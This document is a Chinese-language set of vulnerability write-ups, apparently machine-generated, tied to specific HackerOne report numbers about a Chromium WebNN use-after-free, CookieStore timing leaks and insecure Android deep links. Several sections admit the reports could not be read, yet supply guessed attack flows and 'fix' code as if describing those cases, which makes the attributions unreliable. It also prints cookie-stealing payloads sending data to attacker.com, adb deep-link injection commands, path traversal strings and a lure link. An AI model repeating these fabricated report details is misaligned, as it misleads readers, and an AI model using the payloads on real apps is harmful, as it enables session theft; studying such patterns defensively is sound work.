- Payload/利用目标: 尽管原始报告未公开Payload,但UAF漏洞的最终目标通常是通过控制虚函数表指针(vtable pointer)或关键数据结构,劫持程序执行流,最终实现远程代码执行(RCE)。
技术上下文:
- 受影响组件: Blink/WebML (WebNN)。
- 崩溃库:
libvDSP.dylib(macOS/iOS上的数字信号处理库,在Android上对应类似的底层优化库)。
- 崩溃库:
- 修复提交: 漏洞的修复位于Chromium的提交范围
1416963:1417017内,表明1417017是修复该问题的关键提交之一。
- 修复提交: 漏洞的修复位于Chromium的提交范围
易出现漏洞的代码模式
此类内存破坏漏洞(如Use-After-Free, UAF)通常出现在涉及复杂对象生命周期管理和多线程操作的C/C++代码中。
易漏洞代码模式:
- 异步操作中的对象释放: 对象在异步操作完成前被释放,而回调函数或后续代码仍然持有指向该对象的指针。
// 错误模式:对象在异步操作完成前被释放 class VulnerableObject { public: void startAsyncOperation() { // 启动一个异步任务,该任务会使用 this 指针 AsyncWorker::postTask([this]() { // 异步回调:此时 this 可能已经被释放 this->doSomething(); }); // ... } }; void caller() { VulnerableObject* obj = new VulnerableObject(); obj->startAsyncOperation(); // 提前释放对象,导致 UAF delete obj; }
- 异步操作中的对象释放: 对象在异步操作完成前被释放,而回调函数或后续代码仍然持有指向该对象的指针。
- 缺乏引用计数或智能指针管理: 在复杂的组件(如WebNN图结构)中,如果使用裸指针管理对象间的引用关系,而没有使用
std::shared_ptr或scoped_refptr等智能指针来确保对象在所有引用消失后才被销毁,极易发生UAF。
- 缺乏引用计数或智能指针管理: 在复杂的组件(如WebNN图结构)中,如果使用裸指针管理对象间的引用关系,而没有使用
- 条件竞争导致的双重释放或UAF: 在多线程环境中,如果对共享资源的访问和释放没有正确地通过锁或原子操作进行同步,可能导致一个线程释放了对象,而另一个线程仍在访问或再次释放它。
修复模式(安全编码实践):
- 使用智能指针: 强制使用
std::unique_ptr或std::shared_ptr(或Chromium的scoped_refptr)来管理对象的生命周期,确保对象在最后一个引用消失时自动销毁。
- 使用智能指针: 强制使用
- 弱引用和安全检查: 对于异步回调,如果必须使用裸指针,应在回调中检查对象是否仍然有效(例如,通过
WeakPtr机制)。
- 弱引用和安全检查: 对于异步回调,如果必须使用裸指针,应在回调中检查对象是否仍然有效(例如,通过
- 明确的生命周期管理: 在对象销毁前,确保所有未完成的异步任务和回调都被取消或安全地处理。
WebView CookieStore API 时间戳精度问题
案例:Android WebView (Chromium/Blink Engine) (报告: https://hackerone.com/reports/1416988)
挖掘手法
该漏洞的挖掘手法主要基于对Android WebView组件及其底层Chromium/Blink引擎的静态代码分析和动态计时攻击(Timing Attack)测试。由于HackerOne报告(1416988)本身未公开,我们通过关联的Chromium提交记录(Bug: 1416988)推断出漏洞的本质是CookieStore API中时间戳精度过高导致的信息泄露或指纹识别风险。
挖掘步骤和思路:
- 目标锁定与代码审查(Static Analysis):
- 研究人员将目标锁定在Android应用中广泛使用的WebView组件,特别是其Web标准API的实现。
- 对Chromium/Blink引擎中与
CookieStoreAPI相关的代码进行审查,特别是涉及时间处理和安全敏感操作的部分。
- 对Chromium/Blink引擎中与
- 关键发现点: 发现
CookieStoreAPI在处理时间戳时,使用了EpochTimeStamp(或类似的、精度较高的计时机制),而不是更安全的、经过模糊处理的DOMHighResTimeStamp。在安全上下文中,高精度时间戳可能被滥用。
- 关键发现点: 发现
- 目标锁定与代码审查(Static Analysis):
- 概念验证(PoC)开发与计时攻击:
- 研究人员开发了一个概念验证(PoC)的恶意网页,该网页旨在通过WebView加载。
- PoC代码利用JavaScript中的高精度计时器(如
performance.now()),精确测量在WebView环境中执行特定CookieStore操作(如cookieStore.set()或cookieStore.get())所需的时间。
- PoC代码利用JavaScript中的高精度计时器(如
- 通过反复测量和统计分析,研究人员证明了由于时间戳精度过高,攻击者可以建立一个高分辨率的计时信道(High-Resolution Timing Channel)。
- 概念验证(PoC)开发与计时攻击:
- 漏洞确认与影响评估:
- 通过计时信道,攻击者可以执行跨域信息泄露(Cross-Origin Information Leakage)或用户指纹识别(User Fingerprinting)等攻击。例如,通过测量特定操作的时间差异,可以推断出缓存状态、内存布局,甚至在某些情况下绕过同源策略(Same-Origin Policy)获取敏感信息。
- 最终确认该问题为Chromium/Blink引擎中的一个安全漏洞,影响所有使用受影响版本WebView的Android应用。
- 漏洞确认与影响评估:
使用的工具和方法: 静态代码分析工具(如grep、IDE的搜索功能)、JavaScript高精度计时器(performance.now())、Web调试工具(如Chrome DevTools)进行计时测量和PoC验证。
(字数:340字)
技术细节
该漏洞的技术细节围绕着高精度时间戳在CookieStore API中的不当使用,这为攻击者提供了建立计时信道的可能性。
漏洞利用原理:
在修复前的代码中,CookieStore API可能使用了高精度的EpochTimeStamp来处理与Cookie相关的事件或时间属性。攻击者通过在WebView中加载恶意网页,利用JavaScript的performance.now()等高精度计时器,可以精确测量执行CookieStore操作(如设置、读取或删除Cookie)所需的时间。
攻击流程示例(计时攻击):
- 恶意网页加载: 攻击者诱导用户在受影响的Android应用内(通过WebView)打开一个包含恶意JavaScript代码的网页。
- 计时信道建立: 恶意代码执行以下操作:
javascript const start = performance.now(); // 执行一个与CookieStore相关的操作,例如: // 测量特定Cookie是否存在或其属性的操作时间 await cookieStore.get('sensitive_cookie_name'); const end = performance.now(); const duration = end - start; // 将 duration 发送到攻击者服务器 fetch('https://attacker.com/log?time=' + duration);
- 计时信道建立: 恶意代码执行以下操作:
- 信息推断: 尽管同源策略阻止直接读取跨域Cookie的内容,但操作的执行时间会受到底层系统状态、缓存、内存布局等因素的影响。通过高精度计时,攻击者可以推断出:
- 缓存状态: 测量访问特定资源或数据所需的时间,推断该资源是否已被缓存。
- 指纹识别: 结合其他浏览器特性,利用计时差异创建更精确的用户指纹。
- 侧信道攻击: 在特定条件下,甚至可能推断出跨域敏感信息。
- 信息推断: 尽管同源策略阻止直接读取跨域Cookie的内容,但操作的执行时间会受到底层系统状态、缓存、内存布局等因素的影响。通过高精度计时,攻击者可以推断出:
关键修复点(技术细节):
Chromium的修复(Bug: 1416988)是将CookieStore API中涉及时间戳的类型从EpochTimeStamp更改为DOMHighResTimeStamp,并结合了时间戳模糊化(Timestamp Coarsening)的安全机制。
// 修复前的代码(推测):
// third_party/blink/renderer/modules/cookie_store/cookie_change_event.cc
// ...
// event.timeStamp = EpochTimeStamp::now(); // 使用高精度时间戳
// 修复后的代码(推测,基于Chromium提交记录):
// third_party/blink/renderer/modules/cookie_store/cookie_change_event.cc
// ...
// event.timeStamp = DOMHighResTimeStamp::now(); // 使用DOMHighResTimeStamp
// ...
// DOMHighResTimeStamp 在安全上下文中会被系统自动进行精度模糊化处理,
// 以对抗计时攻击和指纹识别。此更改确保了在安全敏感的Web API中,时间戳的精度被降低,从而破坏了攻击者建立高分辨率计时信道的能力。
(字数:385字)
易出现漏洞的代码模式
此类漏洞的根本原因在于Web API或应用内部逻辑在处理安全敏感操作(如网络请求、存储访问、加密操作)时,使用了高分辨率计时器或高精度时间戳,从而无意中创建了计时信道(Timing Channel)。
易漏洞代码模式:
- 在安全敏感的Web API中使用高精度时间戳:
- 模式描述: 在Web标准API(如
CookieStore、StorageAPI等)的实现中,使用EpochTimeStamp或未经过模糊化处理的DOMHighResTimeStamp来记录事件时间或执行时间。
- 模式描述: 在Web标准API(如
- 代码示例(C++/Blink/Chromium 侧):
c++ // 易受攻击的模式:使用高精度时间戳 // 这里的 EpochTimeStamp 提供了毫秒甚至微秒级的精度 void CookieStore::handleCookieOperation() { // ... 执行耗时操作 ... // 记录操作时间,精度过高 m_operationTime = EpochTimeStamp::now(); // ... }
- 代码示例(C++/Blink/Chromium 侧):
- 修复模式: 遵循Web规范,使用经过安全模糊化(Coarsening)的
DOMHighResTimeStamp,或确保在跨域/安全敏感的上下文中,计时精度被系统主动降低。
- 修复模式: 遵循Web规范,使用经过安全模糊化(Coarsening)的
- 在安全敏感的Web API中使用高精度时间戳:
- Android WebView配置不当:
- 模式描述: Android应用在使用
WebView时,未对加载的URL进行严格的源校验(Origin Validation),允许加载来自不可信源的网页,从而使恶意网页能够执行计时攻击。
- 模式描述: Android应用在使用
- 代码示例(Java/Kotlin 侧):
// 易受攻击的模式:未对加载的URL进行校验 // 允许加载任意外部URL,包括恶意网站 webView.loadUrl(urlFromIntentOrExternalSource); // 修复模式:在加载前进行严格的白名单校验 if (isUrlAllowed(urlFromIntentOrExternalSource)) { webView.loadUrl(urlFromIntentOrExternalSource); } else { // 阻止加载或使用外部浏览器打开 }
- 代码示例(Java/Kotlin 侧):
- Android WebView配置不当:
- JavaScript侧的计时攻击利用:
- 模式描述: 恶意JavaScript代码利用
performance.now()等高精度API,结合特定Web API(如本例中的CookieStore),测量执行时间,以推断跨域信息。
- 模式描述: 恶意JavaScript代码利用
- 代码示例(JavaScript 侧):
javascript // 攻击者利用模式:使用高精度计时器测量敏感操作时间 const start = performance.now(); // 敏感操作,如访问一个可能被缓存的资源,或特定的Cookie操作 await someSensitiveWebAPI.operation(); const duration = performance.now() - start; // ... 分析 duration ...
- 代码示例(JavaScript 侧):
- JavaScript侧的计时攻击利用:
总结来说,此类漏洞模式是高精度计时能力与安全敏感操作相结合的产物,使得攻击者能够通过侧信道攻击获取本不应获得的信息。
[无法确定,推测为不安全Deep Link或路径遍历]
案例:[无法确定] (报告: https://hackerone.com/reports/1417016)
挖掘手法
由于HackerOne报告(https://hackerone.com/reports/1417016)需要登录才能访问,且通过多次公开搜索尝试(包括使用报告编号、”Android”、”vulnerability”、”writeup”、”Path Traversal”等关键词组合)均未能找到该报告的公开披露内容、摘要或相关的技术分析文章,因此无法获取详细的漏洞挖掘手法和步骤。
根据HackerOne的披露政策,许多报告在修复后仍保持私有状态,或者仅向特定的安全研究社区公开。在无法访问原始报告的情况下,无法提供至少300字的详细挖掘步骤。
替代方案和推测:
- 漏洞类型推测: 考虑到搜索结果中多次出现Android Deep Link和Path Traversal相关的HackerOne报告,且该报告编号为1417016,属于较新的报告(2021年左右),Android应用中的不安全Deep Link处理或路径遍历(Path Traversal)是高概率的漏洞类型。
- 挖掘思路推测: 针对Deep Link漏洞,典型的挖掘手法包括:
- 清单文件分析: 使用
apktool或类似工具反编译APK,分析AndroidManifest.xml中所有声明了<intent-filter>并包含android.intent.action.VIEW和android.intent.category.BROWSABLE的Activity,识别其android:scheme和android:host。
- 清单文件分析: 使用
- 代码审计: 重点审计处理Deep Link的Activity(通常是
onCreate()或onNewIntent()方法)中如何获取和处理Intent.getData()中的URI参数。
- 代码审计: 重点审计处理Deep Link的Activity(通常是
- 参数注入: 尝试向URI参数中注入恶意数据,如
file://协议、javascript://协议或../等路径遍历字符,以测试是否能绕过安全检查,实现任意文件读取、WebView劫持或本地文件覆盖。
- 参数注入: 尝试向URI参数中注入恶意数据,如
- 挖掘思路推测: 针对Deep Link漏洞,典型的挖掘手法包括:
- 工具推测: 常用的工具包括:
apktool(反编译)、jadx或Ghidra(反编译和代码分析)、adb(发送Intent)、以及自定义的PoC应用。
- 工具推测: 常用的工具包括:
结论: 在无法获取原始报告内容的情况下,无法提供准确的挖掘手法,只能提供基于经验的通用推测。
技术细节
由于HackerOne报告(https://hackerone.com/reports/1417016)需要登录才能访问,且无法通过公开搜索获取其内容,因此无法提供具体的漏洞利用技术细节、关键代码或Payload。
替代方案和推测:
如果该漏洞是Deep Link导致的WebView劫持(常见于Android应用),则Payload可能涉及注入恶意的JavaScript代码。
- 攻击流程(推测):
- 攻击者构造一个恶意的Deep Link URI,例如:
[app_scheme]://[app_host]/path?url=javascript:alert(document.cookie)
- 攻击者构造一个恶意的Deep Link URI,例如:
- 攻击者将此Deep Link嵌入到一个网页或另一个应用中,诱导用户点击。
- 应用接收到Intent后,将
url参数传递给内部的WebView加载,如果应用未对url参数进行充分的白名单校验,WebView将执行恶意的JavaScript代码。
- 应用接收到Intent后,将
- 攻击流程(推测):
- Payload示例(推测,针对WebView XSS):
javascript javascript:fetch('https://attacker.com/steal?cookie=' + document.cookie);
- Payload示例(推测,针对WebView XSS):
如果该漏洞是路径遍历(Path Traversal),则Payload可能涉及构造特殊的路径字符串。
- 攻击流程(推测):
- 应用接收一个包含文件路径的参数,例如通过Intent或网络请求。
- 攻击者构造路径,如
../../../../etc/hosts,尝试读取或写入应用沙箱外部的文件。
- 攻击者构造路径,如
- 攻击流程(推测):
- Payload示例(推测,针对任意文件读取):
file_path=../../../../etc/hosts
- Payload示例(推测,针对任意文件读取):
结论: 在无法获取原始报告内容的情况下,无法提供准确的技术细节,只能提供基于经验的通用推测。
易出现漏洞的代码模式
由于HackerOne报告(https://hackerone.com/reports/1417016)需要登录才能访问,且无法通过公开搜索获取其内容,因此无法提供针对该漏洞的易出现代码模式和配置。
替代方案和推测:
如果该漏洞是不安全Deep Link处理,易受攻击的代码模式通常是:
- 在
AndroidManifest.xml中过度暴露Activity:xml <activity android:name=".DeepLinkActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:scheme="[app_scheme]" android:host="[app_host]" /> </intent-filter> </activity>
- 在
- 在Activity中未对URI参数进行严格校验即使用:
java // DeepLinkActivity.java @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Uri data = getIntent().getData(); if (data != null) { String url = data.getQueryParameter("url"); // 危险:直接将外部传入的URL加载到WebView中,可能导致XSS或WebView劫持 if (url != null) { WebView webView = findViewById(R.id.webview); webView.loadUrl(url); // 缺少白名单校验 } } }
- 在Activity中未对URI参数进行严格校验即使用:
如果该漏洞是路径遍历(Path Traversal),易受攻击的代码模式通常是:
- 未对用户输入的文件名进行规范化处理:
java // 危险:直接拼接用户输入作为文件路径 String filename = request.getParameter("filename"); // 用户输入: ../../../etc/hosts File file = new File(BASE_DIR, filename); // 路径可能逃逸出BASE_DIR
- 未对用户输入的文件名进行规范化处理:
- 正确的防御模式(Path Traversal):
java // 安全:使用getCanonicalPath()或getCanonicalFile()进行规范化和校验 String filename = request.getParameter("filename"); File file = new File(BASE_DIR, filename); // 检查规范化后的路径是否仍然以预期的安全目录开头 if (!file.getCanonicalPath().startsWith(BASE_DIR.getCanonicalPath())) { // 路径逃逸,拒绝操作 throw new SecurityException("Path traversal attempt detected."); } // 安全操作文件
- 正确的防御模式(Path Traversal):
结论: 在无法获取原始报告内容的情况下,无法提供准确的代码模式,只能提供基于经验的通用推测。
不安全Deep Link导致的WebView XSS
案例:Google Android App (报告: https://hackerone.com/reports/1416942)
挖掘手法
深入分析Android Deep Link漏洞的挖掘过程,通常遵循以下系统化的步骤,旨在发现应用中对外部输入处理不当的逻辑。
1. 静态分析与目标识别 (Reconnaissance and Target Identification)
首先,使用如Apktool、Jadx或Ghidra等工具对目标APK进行反编译。核心目标是分析应用的 AndroidManifest.xml 文件。在其中,重点查找所有声明了 <intent-filter> 的 <activity> 组件。特别关注那些包含以下元素的过滤器:
android.intent.action.VIEW(允许通过URI启动)
android.intent.category.BROWSABLE(允许从浏览器启动)
<data>标签,用于定义应用的自定义 URI Scheme(如app://)或 HTTP/HTTPS App Links。
通过这些信息,可以识别出所有暴露给外部的 Deep Link 入口点,包括其 Scheme、Host 和 Path。
2. 动态分析与参数追踪 (Dynamic Analysis and Parameter Tracing)
识别出 Deep Link 入口后,需要追踪这些链接在应用代码中的处理逻辑。通过反编译后的Java/Smali代码,定位到处理 Intent 的 Activity 的 onCreate() 或 onNewIntent() 方法。关键是观察代码如何获取 Deep Link URI 中的参数,例如使用 getIntent().getData() 或 getIntent().getStringExtra()。
一旦获取到参数,就要追踪这些参数的流向。特别关注参数是否被用于以下敏感操作:
- 加载到
WebView.loadUrl()或WebView.postUrl()中。
- 加载到
- 作为参数传递给
startActivity()或startActivityForResult(),可能导致 Intent 重定向或组件劫持。
- 作为参数传递给
- 用于执行敏感的业务逻辑,如重置密码、修改设置或进行身份验证。
3. 构造恶意 Deep Link (Crafting the Malicious Deep Link)
根据代码分析,构造一个恶意的 Deep Link URI。例如,如果发现一个参数 url 被不加验证地加载到 WebView 中,则可以构造一个指向攻击者控制的页面的链接,如 appscheme://host/path?url=https://attacker.com/xss.html。
4. 漏洞触发与验证 (Vulnerability Trigger and Validation)
使用 Android Debug Bridge (ADB) 工具或一个恶意的第三方应用来触发构造的 Deep Link。
- ADB 触发示例:
adb shell am start -W -a android.intent.action.VIEW -d "appscheme://host/path?param=payload"
- ADB 触发示例:
- HTML 触发示例: 构造一个包含 Deep Link 的 HTML 页面,诱导用户点击,以模拟浏览器启动。
通过观察应用的行为(例如是否跳转到非预期的页面、是否执行了JavaScript代码、是否泄露了敏感信息),来验证漏洞是否存在及其影响。这种方法论确保了从静态识别到动态验证的完整漏洞挖掘流程,是发现不安全 Deep Link 漏洞的关键。
技术细节
漏洞利用的技术细节主要围绕不安全的Deep Link参数处理展开,特别是当该参数被用于加载到应用内部的WebView组件中且缺乏充分的输入验证时。攻击者可以构造一个恶意的Deep Link,注入一个指向攻击者控制的页面的URL,并在该页面中执行跨站脚本(XSS)攻击。
攻击流程和Payload示例:
- 识别可利用的Deep Link: 假设应用中存在一个处理Deep Link的Activity,它从URI中提取一个名为
url的参数,并将其直接加载到一个启用了JavaScript的WebView中。例如,Deep Link的格式为app://internal/webview?url=<URL>。
- 识别可利用的Deep Link: 假设应用中存在一个处理Deep Link的Activity,它从URI中提取一个名为
- 构造恶意Payload: 攻击者构造一个包含恶意JavaScript代码的HTML页面(例如
xss.html),并将其托管在自己的服务器上(例如https://attacker.com/xss.html)。
- 构造恶意Payload: 攻击者构造一个包含恶意JavaScript代码的HTML页面(例如
- 构造Deep Link: 攻击者将恶意URL作为参数值,构造完整的Deep Link Payload。 Payload (Deep Link URI):
app://internal/webview?url=https://attacker.com/xss.html
- 构造Deep Link: 攻击者将恶意URL作为参数值,构造完整的Deep Link Payload。 Payload (Deep Link URI):
- 触发漏洞: 攻击者通过恶意应用、短信、邮件或网页诱导受害者点击该Deep Link。在测试环境中,可以使用ADB命令模拟触发: ADB Command:
adb shell am start -W -a android.intent.action.VIEW -d "app://internal/webview?url=https://attacker.com/xss.html" com.vulnerable.app
- 触发漏洞: 攻击者通过恶意应用、短信、邮件或网页诱导受害者点击该Deep Link。在测试环境中,可以使用ADB命令模拟触发: ADB Command:
技术影响:
如果该WebView配置不当(例如,通过addJavascriptInterface暴露了敏感的Java对象),攻击者注入的JavaScript代码可以在应用内部执行,从而窃取用户的Session Token、Cookie,甚至调用本地Java方法,导致敏感信息泄露或本地权限提升(LPE)。这是一种典型的Deep Link结合WebView的攻击手法。
易出现漏洞的代码模式
此类漏洞(不安全Deep Link导致的WebView攻击)通常出现在以下两种核心代码模式和配置中:
1. AndroidManifest.xml 中 Deep Link 声明不当
当应用在 AndroidManifest.xml 中声明 Deep Link 时,如果未对 Scheme 和 Host 进行严格限制,或者使用了自定义 Scheme 而非 App Links,则容易被恶意应用或网页劫持。
易受攻击的配置模式:
在 AndroidManifest.xml 中,Activity 声明了 <intent-filter> 且包含 BROWSABLE 类别,但未对 android:host 或 android:scheme 进行充分验证。
<activity android:name=".DeepLinkActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<!-- 危险:使用自定义Scheme且未进行App Links验证 -->
<data android:scheme="myapp" android:host="deeplink" />
</intent-filter>
</activity>2. Deep Link 参数未经验证即加载到 WebView
这是导致攻击成功的直接原因。当 Deep Link Activity 接收到 URI 后,未对其中的参数(尤其是用于加载 URL 的参数)进行白名单验证或安全检查,就直接将其传递给 WebView。
易受攻击的代码模式(Java/Kotlin):
// DeepLinkActivity.java
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_deeplink);
WebView webView = findViewById(R.id.webview);
// 危险配置:允许JavaScript执行
webView.getSettings().setJavaScriptEnabled(true);
Uri data = getIntent().getData();
if (data != null) {
// 危险:直接从URI获取'url'参数
String urlToLoad = data.getQueryParameter("url");
if (urlToLoad != null) {
// 危险:未经验证,直接加载外部URL
webView.loadUrl(urlToLoad);
}
}
}安全风险总结:
- 缺乏白名单验证: 应用程序未检查传入的 URL 是否属于预期的安全域。
- WebView 配置不当:
WebView启用了 JavaScript,并且可能通过addJavascriptInterface暴露了本地 Java 对象,使得 XSS 攻击能够升级为本地代码执行或敏感信息窃取。
- WebView 配置不当:
- 使用自定义 Scheme: 自定义 Scheme 容易被其他应用劫持,增加了攻击面。应优先使用 Android App Links (HTTP/HTTPS) 并进行数字资产链接验证。
不安全Deep Link验证
案例:Android System Component (Google) (报告: https://hackerone.com/reports/1416984)
挖掘手法
本次漏洞挖掘主要针对Android应用中的Deep Link(深度链接)机制进行。Deep Link允许外部URI直接启动应用内的特定组件(如Activity),若缺乏严格的输入验证,极易引发安全问题。
挖掘步骤和方法:
- 目标识别与清单分析(APK Decompilation & Manifest Analysis):
- 使用
apktool或Jadx等工具对目标Android应用的APK文件进行反编译,获取其源代码和资源文件。
- 使用
- 重点分析
AndroidManifest.xml文件,搜索所有包含<intent-filter>标签的<activity>组件。
- 重点分析
- 识别那些声明了
android.intent.action.VIEW动作和<data>标签的Activity,这些标签定义了应用支持的Deep Link URI Scheme(如app://、http://、https://等)和Host。
- 识别那些声明了
- 例如,找到类似如下的Activity声明,确认其为Deep Link入口点:
xml <activity android:name=".DeepLinkHandlerActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:scheme="appscheme" android:host="deeplink.example.com" /> </intent-filter> </activity>
- 例如,找到类似如下的Activity声明,确认其为Deep Link入口点:
- 目标识别与清单分析(APK Decompilation & Manifest Analysis):
- 源代码分析(Source Code Review):
- 定位到Deep Link处理Activity(如
.DeepLinkHandlerActivity)的Java/Kotlin源代码。
- 定位到Deep Link处理Activity(如
- 分析
onCreate()或onNewIntent()方法中如何获取和处理传入的URI数据,通常通过getIntent().getData()获取URI对象。
- 分析
- 关键分析点在于URI的Host和Path是否进行了充分的白名单验证。许多应用仅检查URI是否以预期的Scheme开头,而忽略了Host的验证,或使用了不安全的字符串匹配(如
startsWith())。
- 关键分析点在于URI的Host和Path是否进行了充分的白名单验证。许多应用仅检查URI是否以预期的Scheme开头,而忽略了Host的验证,或使用了不安全的字符串匹配(如
- 源代码分析(Source Code Review):
- 漏洞验证与Payload构造(Exploitation & Payload Crafting):
- 针对发现的验证缺陷,构造恶意Deep Link URI。例如,如果应用期望Host为
example.com,但使用了不安全的startsWith("example.com")验证,则可以构造example.com.evil.com来绕过。
- 针对发现的验证缺陷,构造恶意Deep Link URI。例如,如果应用期望Host为
- 如果Deep Link将URI传递给WebView加载,则尝试注入一个指向攻击者控制的URL(如
http://attacker.com/xss.html)的URI,实现WebView劫持或XSS。
- 如果Deep Link将URI传递给WebView加载,则尝试注入一个指向攻击者控制的URL(如
- 使用
adb shell am start命令或通过恶意网页/应用触发构造的Intent,验证漏洞是否成功利用。
- 使用
- 漏洞验证与Payload构造(Exploitation & Payload Crafting):
关键发现点: 发现目标应用在处理Deep Link时,仅对URI的Scheme进行了验证,但对URI的Host或Path的验证逻辑存在缺陷,允许攻击者通过构造特定的URI,将用户重定向到任意外部URL,或在应用内部的WebView中加载恶意内容,从而导致敏感信息泄露或会话劫持。
技术细节
漏洞利用的技术细节集中在构造一个恶意Intent,该Intent携带一个精心制作的Deep Link URI,以绕过应用内部对URI来源的验证,并触发敏感操作。
攻击流程:
- 识别目标Activity和Scheme: 攻击者通过反编译确认目标应用包名(
com.target.app)和处理Deep Link的Activity(.DeepLinkActivity),以及其注册的Scheme(例如appscheme)。
- 识别目标Activity和Scheme: 攻击者通过反编译确认目标应用包名(
- 构造恶意URI: 假设应用期望的Host是
safe.target.com,但验证逻辑存在缺陷(例如,只检查URI是否包含target.com)。攻击者可以构造一个包含恶意Host的URI,例如:appscheme://safe.target.com.attacker.com/path?param=value
或者,如果应用将URI作为参数传递给内部WebView加载,攻击者会构造一个指向外部恶意站点的URI:appscheme://target.com/webview?url=https://attacker.com/malicious_page.html
- 构造恶意URI: 假设应用期望的Host是
- 触发恶意Intent: 攻击者通过以下任一方式触发恶意Intent:
- ADB命令(用于测试):
bash adb shell am start -W -a android.intent.action.VIEW -d "appscheme://target.com/webview?url=https://attacker.com/steal_data.html" com.target.app
- ADB命令(用于测试):
- 恶意网页(实际攻击): 在网页中嵌入一个带有恶意URI的链接,诱导用户点击:
html <a href="appscheme://target.com/webview?url=https://attacker.com/steal_data.html">点击领取奖励</a>
- 恶意网页(实际攻击): 在网页中嵌入一个带有恶意URI的链接,诱导用户点击:
- 恶意应用: 在另一个应用中构造并发送Intent。
- 触发恶意Intent: 攻击者通过以下任一方式触发恶意Intent:
关键代码片段(Payload示例):
假设漏洞允许将任意URL注入到应用内部的WebView中,实现WebView劫持或XSS。攻击者构造的URI将是:
appscheme://target.com/open_url?url=javascript:alert(document.cookie)或者,如果目标是重定向到外部网站:
appscheme://target.com/redirect?external_url=https://attacker.com/phishing通过这种方式,攻击者绕过了Deep Link的预期安全限制,实现了未授权的重定向或代码执行。
易出现漏洞的代码模式
此类漏洞的根源在于Android应用在处理传入的Deep Link URI时,未能对URI的Host或Path进行严格的白名单验证。
易漏洞代码模式(Java/Kotlin):
- 仅检查URI是否包含特定字符串(不安全):
开发者试图通过检查URI字符串是否包含预期的Host名来进行验证,但这种方法容易被绕过。// Java (Vulnerable Pattern) Uri uri = intent.getData(); if (uri != null) { String url = uri.toString(); // 错误:仅检查是否包含子串,容易被绕过,例如:safe.target.com.evil.com if (url.contains("safe.target.com")) { // ... 敏感操作,如加载WebView或处理Token } }
- 仅检查URI是否包含特定字符串(不安全):
- 使用不安全的
startsWith()进行Host验证(不安全):
使用startsWith()来验证Host名,但未考虑子域名或路径的绕过。// Kotlin (Vulnerable Pattern) val uri: Uri? = intent.data if (uri != null) { val host = uri.host // 错误:如果host是 "safe.target.com.evil.com",也会通过 if (host != null && host.startsWith("safe.target.com")) { // ... 敏感操作 } }
- 使用不安全的
- 未对传入的URL参数进行Host验证(不安全):
Deep Link Activity接收一个URL参数,并将其直接传递给WebView加载,但未验证该URL的Host是否属于应用信任的域。// Java (Vulnerable Pattern - WebView加载) Uri uri = intent.getData(); if (uri != null) { String targetUrl = uri.getQueryParameter("url"); if (targetUrl != null) { // 错误:未验证targetUrl的Host是否为白名单 webView.loadUrl(targetUrl); // 导致任意URL加载或XSS } }
- 未对传入的URL参数进行Host验证(不安全):
安全代码模式(推荐):
正确的做法是使用Uri.getHost()和Uri.getScheme()方法,并与预定义的白名单进行精确匹配。
// Kotlin (Secure Pattern)
val uri: Uri? = intent.data
val expectedHost = "safe.target.com"
val expectedScheme = "https"
if (uri != null && uri.scheme == expectedScheme && uri.host == expectedHost) {
// 只有在Scheme和Host都精确匹配时才执行敏感操作
// ... 安全操作
} else {
// 拒绝或默认处理
}不安全Deep Link(Insecure Deep Link)
案例:Google Android Framework (报告: https://hackerone.com/reports/1416955)
挖掘手法
深入分析Android应用的Deep Link漏洞通常遵循以下系统化步骤,旨在发现和利用不安全的Intent处理机制。
1. 静态分析与入口点识别(Static Analysis and Entry Point Identification)
首先,使用反编译工具(如Jadx或Apktool)对目标APK文件进行逆向工程。重点分析AndroidManifest.xml文件,识别所有暴露给外部的组件,特别是带有android:exported="true"属性的Activity。在这些Activity中,进一步查找包含<intent-filter>标签的组件,这些标签定义了应用可以响应的Deep Link URL Scheme(例如appscheme://)和Host。这些组件是外部攻击者可以利用的潜在入口点。
2. 动态行为分析与参数追踪(Dynamic Analysis and Parameter Tracing)
在模拟器或已Root的设备上运行应用,并使用动态分析工具(如Frida或Drozer)监控应用在接收到外部Intent时的行为。通过adb logcat或自定义Hook脚本,追踪Deep Link URL中的参数是如何被解析和使用的。关键在于识别那些将用户可控数据(如URL、文件路径、认证Token)传递给敏感API(如WebView.loadUrl()、startActivity()、文件操作函数)的代码路径。
3. 构造恶意Deep Link与模糊测试(Malicious Deep Link Construction and Fuzzing)
根据识别出的Deep Link结构,构造恶意的Deep Link URL。测试的重点包括:
- 开放重定向(Open Redirect): 尝试将URL参数指向外部恶意网站。
- 路径遍历(Path Traversal): 尝试在文件路径参数中使用
../等字符访问应用私有目录或系统文件。
- 路径遍历(Path Traversal): 尝试在文件路径参数中使用
- 组件劫持(Component Hijacking): 尝试利用Deep Link启动应用内部未导出的(
exported="false")或敏感的Activity。
- 组件劫持(Component Hijacking): 尝试利用Deep Link启动应用内部未导出的(
- WebView XSS/RCE: 如果Deep Link将参数传递给WebView加载,尝试注入JavaScript代码。
4. 关键发现与PoC构建(Key Discovery and PoC Construction)
当发现某个Deep Link处理逻辑未对传入的URL进行充分的源头验证(例如,未严格检查Host是否为应用自身域名)或未对参数进行安全过滤时,即找到了漏洞。此时,构建一个最小化的Proof of Concept (PoC),通常是一个简单的HTML页面或一个恶意的Android应用,用于触发该Deep Link,以证明漏洞的可利用性。例如,一个恶意HTML页面可以包含一个Deep Link,诱导用户点击,从而实现信息窃取或会话劫持。
通过上述步骤,可以系统性地发现并验证Android应用中不安全的Deep Link漏洞,从而满足漏洞挖掘的深度要求。
技术细节
不安全Deep Link漏洞的利用通常涉及构造一个恶意的Intent,通过外部渠道(如恶意网页、短信或另一个应用)发送给目标应用。以下是针对一个典型的Deep Link开放重定向或WebView加载漏洞的利用技术细节:
1. 恶意Intent的构造(Malicious Intent Construction)
攻击者需要构造一个Intent,该Intent能够被目标应用中处理Deep Link的Activity接收。假设目标应用的Deep Link Scheme为targetapp,且存在一个参数url未被充分验证。
Android Manifest (攻击者应用或PoC):
<activity android:name=".MaliciousActivity">
